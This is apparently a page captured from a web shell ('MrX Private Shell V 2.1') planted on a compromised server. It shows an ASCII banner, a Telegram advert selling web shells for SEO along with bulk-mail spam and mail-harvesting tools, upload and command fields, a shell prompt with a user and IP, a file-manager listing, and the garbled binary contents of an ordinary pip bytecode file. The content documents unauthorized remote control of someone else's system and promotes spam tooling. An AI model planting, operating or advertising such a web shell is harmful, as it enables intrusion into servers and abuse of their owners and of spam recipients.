__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.200: ~ $
U

��.e��@s dZddlZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
e�e�Ze
r�dd	lmZdd
lmZmZmZmZmZmZmZeedfZeeefZeeeefZeeeefZeeeefZ eee fZ!eddd
g�Z"dd�Z#ddd�Z$dd�Z%dd�Z&dd�Z'dS)z'Validation of dependencies of packages
�N)�
namedtuple)�canonicalize_name)�RequirementParseError)�)make_distribution_for_install_requirement)�get_installed_distributions)�MYPY_CHECK_RUNNING)�InstallRequirement)�Any�Callable�Dict�Optional�Set�Tuple�List�PackageDetails�version�requirescKs�|ikrddd�}i}d}tf|�D]\}t|j�}zt|j|���||<Wq$tk
r~}zt�d||�d}W5d}~XYq$Xq$||fS)z8Converts a list of distributions into a PackageSet.
    F�)Z
local_only�skipz%Error parsing requirements for %s: %sTN)	rr�project_namerrrr�loggingZwarning)�kwargs�package_setZproblems�dist�name�err�B/usr/lib/python3.8/site-packages/pip/_internal/operations/check.py�!create_package_set_from_installed(s

rcCs�|dkrdd�}i}i}|D]�}t�}t�}||�r6q||jD]l}t|j�}||kr�d}	|jdk	rn|j��}	|	r@|�||f�q@||j}
|jj	|
dd�s@|�||
|f�q@|r�t
|td�||<|rt
|td�||<q||fS)z�Check if a package set is consistent

    If should_ignore is passed, it should be a callable that takes a
    package name and returns a boolean.
    NcSsdS)NFr�rrrr�
should_ignoreEsz(check_package_set.<locals>.should_ignoreT)Zprereleases)�key)�setrrrZmarkerZevaluate�addrZ	specifier�contains�sorted�str)rrZmissingZconflicting�package_nameZmissing_depsZconflicting_deps�reqrZmissedrrrr�check_package_set=s4



r(cs6t�\}}t||�}t||��|t|�fdd�d�fS)zeFor checking if the dependency graph would be consistent after     installing given requirements
    cs|�kS�Nrr�Z	whitelistrr�<lambda>|�z)check_install_conflicts.<locals>.<lambda>)r)r�_simulate_installation_of�_create_whitelistr()�
to_installr�_�would_be_installedrr*r�check_install_conflictsls



��r2cCsLt�}|D]<}t|�}|��}t|j�}t|j|���||<|�|�q
|S)zBComputes the version of packages after installing to_install.
    )	r!rZget_pkg_resources_distributionrr rrrr")r/rZ	installedZinst_reqZ
abstract_distrrrrrr-�s
r-cCsLt|�}|D]:}||krq||jD] }t|j�|kr$|�|�qq$q|Sr))r!rrrr")r1rZpackages_affectedr&r'rrrr.�s
r.)N)(�__doc__r�collectionsrZpip._vendor.packaging.utilsrZpip._vendor.pkg_resourcesrZpip._internal.distributionsrZpip._internal.utils.miscrZpip._internal.utils.typingrZ	getLogger�__name__ZloggerZpip._internal.req.req_installr�typingr	r
rrr
rrr%Z
PackageSetZMissingZConflictingZMissingDictZConflictingDictZCheckResultrrr(r2r-r.rrrr�<module>s.
$
/

Filemanager

Name Type Size Permission Actions
__init__.cpython-38.opt-1.pyc File 160 B 0644
__init__.cpython-38.pyc File 160 B 0644
check.cpython-38.opt-1.pyc File 3.57 KB 0644
check.cpython-38.pyc File 3.57 KB 0644
freeze.cpython-38.opt-1.pyc File 5.6 KB 0644
freeze.cpython-38.pyc File 5.6 KB 0644
generate_metadata.cpython-38.opt-1.pyc File 3.8 KB 0644
generate_metadata.cpython-38.pyc File 3.8 KB 0644
prepare.cpython-38.opt-1.pyc File 5.49 KB 0644
prepare.cpython-38.pyc File 5.76 KB 0644